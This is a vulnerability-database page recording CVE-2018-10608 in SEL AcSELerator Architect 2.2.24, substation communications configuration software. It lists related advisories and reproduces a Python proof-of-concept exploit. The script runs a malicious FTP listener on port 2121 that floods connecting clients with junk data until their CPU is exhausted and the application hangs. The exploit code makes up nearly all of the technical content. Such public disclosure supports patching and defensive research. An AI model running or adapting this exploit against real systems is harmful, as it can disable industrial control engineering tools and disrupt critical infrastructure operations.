Lucene search
K

SEL AcSELerator Architect 2.2.24 Denial Of Service

🗓️ 16 May 2019 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 176 Views

SEL AcSELerator Architect 2.2.24 Remote CPU Exhaustion Denial of Service vulnerability affecting Microsoft Windows 7 Ultimate SP1 (EN) 32bi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SEL AcSELerator Architect 2.2.24 - CPU Exhaustion Denial of Service Exploit
16 May 201900:00
zdt
CNVD
SEL AcSELerator Architect Denial of Service Vulnerability
11 Jul 201800:00
cnvd
CVE
CVE-2018-10608
24 Jul 201813:00
cve
Cvelist
CVE-2018-10608
24 Jul 201813:00
cvelist
EUVD
EUVD-2018-2680
7 Oct 202500:30
euvd
ICS
Schweitzer Engineering Laboratories, Inc. Compass and AcSELerator Architect
10 Jul 201800:00
ics
NVD
CVE-2018-10608
24 Jul 201813:29
nvd
OSV
CVE-2018-10608
24 Jul 201813:29
osv
Prion
Design/Logic Flaw
24 Jul 201813:29
prion
Tenable Nessus
SEL (CVE-2018-10608) (deprecated)
7 Feb 202200:00
nessus
Rows per page
`#!/usr/bin/env python  
# coding: utf8  
#  
#  
# SEL AcSELerator Architect 2.2.24 Remote CPU Exhaustion Denial of Service  
#  
#  
# Vendor: Schweitzer Engineering Laboratories, Inc.  
# Product web page: https://www.selinc.com  
# Affected version: 2.2.24.0 (ICD package version: 2.38.0)  
#  
# Summary: Substation communications networks using the IEC 61850  
# MMS and GOOSE protocols require a systemic methodology to configure  
# message publications and subscriptions. acSELerator Architect  
# SEL-5032 Software is a Microsoft Windows application that streamlines  
# the configuration and documentation of IEC 61850 control and SCADA  
# communications.  
#  
# Description: AcSELerator Architect is prone to a denial-of-service (DoS)  
# vulnerability. An attacker may exploit this issue to cause CPU exhaustion,  
# resulting in application rendered non-responsive (AppHangB1 event).  
#  
# Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
#  
#  
# Advisory: https://applied-risk.com/index.php/download_file/view/106/165  
# ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-18-191-02  
# CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10608  
#  
# 22.02.2018  
#  
  
from pwn import *  
  
cool_data = '\x4A' * 54321  
  
def bunn():  
  
print """  
####################################  
SEL AcSELerator Architect 2.2.24.0  
FTP Client Remote CPU Exhaustion  
  
(c) 2018  
####################################  
"""  
  
def main():  
  
p = listen(2121)  
try:  
log.warn('Payload ready for deployment...(Ctrl-C for exit)\n')  
while True:  
p.wait_for_connection()  
if p:  
sys.stdout.write('▓≡')  
p.send(cool_data)  
except KeyboardInterrupt:  
p.success('OK!')  
p.close()  
except EOFError:  
print "Unexpected error brah:", sys.exc_info()[0]  
p.close()  
  
if __name__ == '__main__':  
bunn()  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation